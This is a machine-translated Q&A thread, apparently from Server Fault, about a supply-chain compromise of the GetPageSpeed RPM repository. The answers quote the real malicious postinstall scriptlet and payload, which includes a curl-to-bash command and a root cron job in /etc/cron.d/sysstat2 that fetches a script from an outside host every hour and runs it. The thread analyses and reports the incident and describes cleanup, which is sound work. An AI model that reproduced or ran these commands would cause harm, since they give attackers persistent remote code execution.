安装此RPM是如何创建文件的?


16

运行时yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpm创建/etc/cron.d/sysstat2但RPM拒绝该文件:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

RPM是如何创建文件的,我又如何看待它呢?


4
那么,这些GetPageSpeed成员是否拥有并且不知道,还是他们自己发布了不良的RPM?
亚伦·科普利

1
我三个月前从他们的站点安装的RPM很好。恶意的是昨天发布的。我认为它们是拥有的,并且使用其回购协议的任何人都将拥有。恶意的通过yum update降级。我通过他们的“联系我们”表单向他们发送了电子邮件和消息。
Pascal

而且也由他们签名吗?
亚伦·科普利

1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpm是原始文件,它在其存储库中仍具有旧日期,并gpgcheck=1已在其中设置。
Pascal

1
建议您也与Web管理员联系,网址为sayitwithagift.com,尽管YMMV会提供有关您的答复的方式。由于网站本身从未响应,因此我最终通过网站的托管服务提供商来联系有关配置错误的邮件服务器的信息。
达伦(Darren)

Answers:


18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php 包含:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

16

您发现rpm的脚本从Internet运行脚本,并且该脚本当前重定向到可能是恶意软件的脚本。虽然,我找不到能做任何事情的有效载荷。

rpm由于正在运行任意脚本,因此无法完全跟踪发生的情况。

gpgcheck对您无济于事,getpagespeed-extras-7-6.el7.gps.noarch.rpmgetpagespeed-extras-release-7-1.el7.gps.noarch.rpm链接的您都似乎具有有效的签名:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

向回购所有者投诉,该程序包可以从Internet运行任意代码。如果必须这样做,则他们的软件供应链安全性需要提高。

在没有Internet访问的情况下进行第一次软件安装或手动检查“安装后”脚本似乎有些偏执。但是不幸的是,如果程序包执行了此类不明智的操作,几乎似乎是必要的。


有效负载是一项cron作业,每小时都会下载并运行“ sayitwithagift.com/pwn.php ”。目前那里什么都没有,但是随时可能改变。删除RPM不会删除有效负载。
Pascal

他们原来的RPM没有安装后脚本。只有昨天上传的版本(可能是黑客上传的)才可以。
Pascal

1
不清楚从Internet代码执行程序添加的内容是合法的想法,还是由恶意软件人员添加的。后者甚至更糟,因为这意味着签名和上传过程受到损害。
John Mahowald

1

我有5个CLoudLinux / cPanel服务器,以前通过Engintron在其上安装了Nginx,但现在它们改为运行LiteSpeed Web服务器。我认为,Engintron在卸载时可能已经将页面翻页的回购遗忘了。cPanel每天晚上运行一次更新检查,大约在午夜,我所有的服务器都向我发送了一封电子邮件报告:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

搜寻有效负载站点将我引到了这里,我发现在同一天您遇到了同样的问题。因此,将我的信息添加到您自己的信息中。/etc/cron.d/sysstat2我所有的服务器上都存在相同的文件。

我删除了文件,删除了存储库,并使用GetPageSpeed上的联系表来报告问题。回购的所有者可能是AWOL,因为有一篇博客文章称他由于健康问题而关闭了回购。因此,也许攻击者利用了仓库未引起注意的事实,或者找到了可利用的门户。


1
在他关闭我的电子邮件后,有关关闭回购的消息已发布。我要求他再次打开存储库,然后发布要删除的更新软件包/etc/cron.d/sysstat2。他已经这样做了。
Pascal
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.